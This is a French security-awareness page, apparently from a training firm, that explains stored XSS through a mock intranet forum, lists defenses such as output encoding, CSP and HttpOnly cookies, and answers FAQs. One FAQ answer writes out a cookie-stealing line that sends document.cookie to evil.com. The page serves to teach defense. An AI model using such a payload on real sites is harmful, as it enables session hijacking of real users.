XSS · Cross-Site Scripting
Un commentaire. Un compte compromis.
Un script caché dans un forum interne suffit à voler la session d'un manager. Sans clic suspect. Sans téléchargement. Sans alerte. Le navigateur exécute le code dès que la page s'ouvre.
- Stored XSS
- Vol de cookie
- Session hijacking
- OWASP A03
Simulation pas à pas
Suivez l'attaque étape par étape
Marc Charpentier
Il y a 2h · RH Généraliste
Super réunion ce matin ! Les nouveaux process onboarding sont vraiment bien pensés.
Nadia Bertin
Il y a 1h · Responsable Paie
D'accord avec Marc. La checklist partagée hier est très utile pour les nouveaux arrivants.
Compte inconnu
Il y a 5 min · Accès externe
Super article ! Très utile pour l'équipe.
Un forum interne ouvert à tous
Chaque commentaire est stocké puis affiché à tous les membres de l'équipe
Le vecteur : tout champ de saisie libre
Forums, zones de commentaire, champs de recherche, formulaires de contact. Partout où un utilisateur peut écrire du texte affiché ensuite à d'autres, une faille XSS peut exister si les données ne sont pas correctement traitées.
Chiffres clés
Une faille discrète aux effets massifs
- OWASP Top 10
#0
Injection (incl. XSS)- Clic requis
0
pour Stored XSS- Victimes potentielles
∞
par commentaire stocké- Pour voler un cookie
< 0s
via fetch() silencieux
Impact concret pour votre organisation
Une session volée donne accès au compte sans mot de passe, sans alerte, souvent sans que la victime ne s'en rende compte. Un seul script injecté dans un outil interne (intranet, ticketing, chat) suffit à compromettre des dizaines de comptes en quelques heures.
Protection
Comment s'en protéger
Le XSS se neutralise en couches : chaque mesure bloque une étape de l'attaque.
Encoder les sorties
Échappez toute donnée affichée selon son contexte (HTML, attribut, JavaScript). Évitez innerHTML et dangerouslySetInnerHTML.
Content Security Policy
Une CSP stricte interdit les scripts inline et les domaines non autorisés : le payload ne s'exécute pas.
Cookies HttpOnly
Des cookies de session HttpOnly, Secure et SameSite restent inaccessibles au JavaScript injecté.
Assainir le contenu riche
Si les utilisateurs publient du HTML, filtrez-le avec une bibliothèque éprouvée comme DOMPurify.
Démo technique
Testez par vous-même
Cette simulation vous permet d'injecter un payload XSS réel et d'observer son comportement dans un environnement contrôlé. Réservée aux équipes techniques et aux formateurs.
Démo interactive
Injectez un payload XSS
Aucune injection simulée
Choisissez un payload ou tapez le vôtre, puis cliquez Simuler
Stored vs Reflected
Un XSS stocké persiste en base — chaque visiteur devient victime. Un XSS réfléchi exploite uniquement la session de celui qui clique sur un lien piégé.
Se protéger
- Échapper le HTML côté serveur avant affichage
- Content Security Policy (CSP) stricte
- Cookies marqués
HttpOnly
FAQ
Questions fréquentes
Qu'est-ce que le Cross-Site Scripting (XSS) ?
Le Cross-Site Scripting (XSS) est une vulnérabilité web qui permet à un attaquant d'injecter du code JavaScript malveillant dans une page web consultée par d'autres utilisateurs. Il peut voler des cookies de session, rediriger vers des pages de phishing ou enregistrer les frappes clavier.
Quelle est la différence entre XSS réfléchi et XSS stocké ?
Le XSS réfléchi (reflected) n'est pas persistant : le payload est dans l'URL et s'exécute uniquement quand la victime clique sur le lien piégé. Le XSS stocké (stored/persistent) est injecté dans la base de données (commentaire, profil) et s'exécute pour tous les visiteurs qui consultent la page infectée.
Comment se protéger contre les attaques XSS ?
Les protections contre XSS sont : échapper les données affichées en HTML (htmlspecialchars), utiliser une Content Security Policy (CSP) stricte, valider les entrées côté serveur, utiliser des frameworks qui encodent automatiquement (React, Angular), et configurer l'attribut HttpOnly sur les cookies de session.
Comment le XSS permet-il de voler une session ?
Via document.cookie, le script injecté peut lire le cookie de session et l'envoyer vers un serveur contrôlé par l'attaquant : fetch('https://evil.com/?c='+document.cookie). L'attaquant utilise ce cookie pour se faire passer pour la victime sans connaître son mot de passe (session hijacking).
Formez vos équipes avec un expert
Ateliers de sensibilisation sur mesure, simulations d'attaques et formations pour ancrer les bons réflexes dans votre organisation.